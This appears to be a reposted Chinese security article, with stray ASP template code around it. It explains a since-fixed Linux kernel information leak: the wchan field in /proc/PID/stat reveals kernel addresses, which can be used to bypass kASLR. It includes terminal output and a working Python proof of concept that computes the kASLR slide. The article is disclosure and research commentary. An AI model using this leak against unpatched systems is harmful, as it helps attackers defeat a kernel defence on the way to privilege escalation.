<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("内核,进程,研究人员,防护,机制") PageTitle=stripHTML("利用Linux内核的信息泄露绕过kALSR防护机制") ArticleIntro=stripHTML("由于曾经在linux内核中修复,所以没有什么顾忌议论这个破绽。http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.gi......请看") Articlecontent=stripHTML("一、初步说明由于已经在linux内核中修复,所以没有什么顾虑谈论这个漏洞。http://git.kernel.org/cgit/linux/kernel/git…") ModuleName = stripHTML("exploits") InfoID = stripHTML("224002") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> 利用Linux内核的信息泄露绕过kALSR防护机制 - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> 最新漏洞 >> *INX 漏洞 >> 正文

[图文]利用Linux内核的信息泄露绕过kALSR防护机制

2016/3/20 作者:Rabbit_R… 来源: FreeBuf
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

一、初步说明

由于已经在linux内核中修复,所以没有什么顾虑谈论这个漏洞。

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b2f73922d119686323f14fbbe46587f863852328

据研究人员所知,主流发行版默认不开启kALSR防护机制。研究人员希望在不久的将来kALSR防护机制会成为Linux发行版和Android设备的主流,也会变得更加健壮,因为它使得内核的漏洞利用必须在信息泄露的基础上才能实现。与此同时,其他主流操作系统,如如Windows或OSX/iOS已经采用kALSR防护机制,为什么Linux总是慢人半拍?

总之,ASLR防护机制并不是安全的终极解决方案,正如本文接下来所讲述的,我们可以通过简单的信息泄露绕过kALSR防护机制。你可以阅读由spender撰写的另一篇文章来了解kALSR主题及其限制的一些思考。

研究人员曾多次看到@grsecurity在Twitter上提及类似漏洞,因此极有可能其他人在我之前已经熟悉这个漏洞。但是,Linux内核社区对安全的态度并不算出色,所以信息泄露压根不受关注。

二、正文

之前该研究人员在阅读Android系统的/proc文件系统时,wchan字段引起了他的注意。

WCHAN
wait channel-某个特定进程正在等待事件(event)的地址。该简称好像会出现在带有-l选项的ps命令输出。你可以从用户空间读取“/proc/进程PID/stat”来获取进程wchan值。

所以wchan值会返回程序正在“等待”的代码地址。但是,这个描述是相当模糊的。如果进程处于内核地址空间中,它会为我们返回一个内核空间的地址吗?

答案是肯定的,正如下面看到的;

marco@marco-l:~/Documents$ cat /proc/2755/stat
2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0
The value 18446744071579755915 it’s obviously a kernel code location since in hex is:
>>> hex(18446744071579755915)
'0xffffffff810de58bL'
kASLR is not enabled by default on Ubuntu, at least 14.04, so we will have to add a “kaslr” to the kernel command line to enable it, you can find how to add stuff into the kernel command line on Google.

启动系统之后,我们运行一下PoC:

marco@marco-l:~/Documents$ python infoleak.py 
Leaking kernel pointers...
leak: 0xffffffffb70de58b 18446744072485725579
kASLR slide: 0x36000000

三、工作原理

这个PoC非常简单,可以说是相当粗糙,但运行速度快,使用python语言编写,因为只需要fork进程,然后读取内容。正如上面提到的,“/proc/进程pid/stat”的wchan会透露代码在内核空间的哪个地址“等待”事件,因此我们的思路是:

(1)寻找某种方式让“等待”的位置固定下来
(2)通过wchan泄露ALSR值
(3)比较泄露值与已知的非偏移值
(3)输出内核的偏移值
关于(1),我们可以fork一个进程,然后让其休眠。我们可以读取该进程的"/proc/休眠进程pid/stat",由于进程在内核地址空间处于休眠状态,其取值也是固定的。
关于(2),已经讨论如何实现,whcan是stat中已知位置的字段。
关于(3),我们可以通过在测试机上运行未开启kALSR防护机制的内核来获取非偏移值。

四、PoC

你需要编辑一下NON_SLID_VALUE,通过在关闭kALSR防护机制的目标内核上运行PoC获取非偏移值,例如修改成获取的十六进制数值:0xffffffffb70de58b

import subprocess
import time
import sys
import pprint
PROC_PATH = "/proc/%d/stat"
NON_SLID_VALUE = 0xffffffff810de58b
def main():
    sleepp = subprocess.Popen('sleep 100000'.split())
    time.sleep(1)
    child_pid = sleepp.pid
    content = None
    with open(PROC_PATH %(child_pid), 'r') as f:
        content = f.read()
    
    if not content:
        print 'Unable to read stat from child'
        sys.exit(0)
    elements = content.split()
    print 'Leaking kernel pointers...'
    leak = int(elements[34])
    print 'leak: 0x%x %d' %(leak, leak)
    print 'kASLR slide: 0x%x' %(leak - NON_SLID_VALUE)
if __name__ == '__main__':
    main()

五、后记

如果存在什么错误、偏差、疑问及建议,可以随时与研究人员联系(留下原作者Twitter,请翻墙联系啊)。由于系统默认情况下未启用kALSR防护机制,所目前该缺陷的危害不是很大,研究人员也未投入太多时间及精力来验证所有情况和查看内核代码。

就随机性而言,kALSR的偏移似乎非常脆弱,研究人员尚未具体验证随机数是多少位的。但换个角度而言,在我们设备开启此防护机制总比没有好,起码这是迈向安全的开始。

要点:

Linux内核维护人员应该以更友好的态度面向安全社区。毕竟我们所有人都喜欢和使用Linux,也愿意让它变得更好。


  • 上一篇漏洞:

  • 下一篇漏洞: 没有了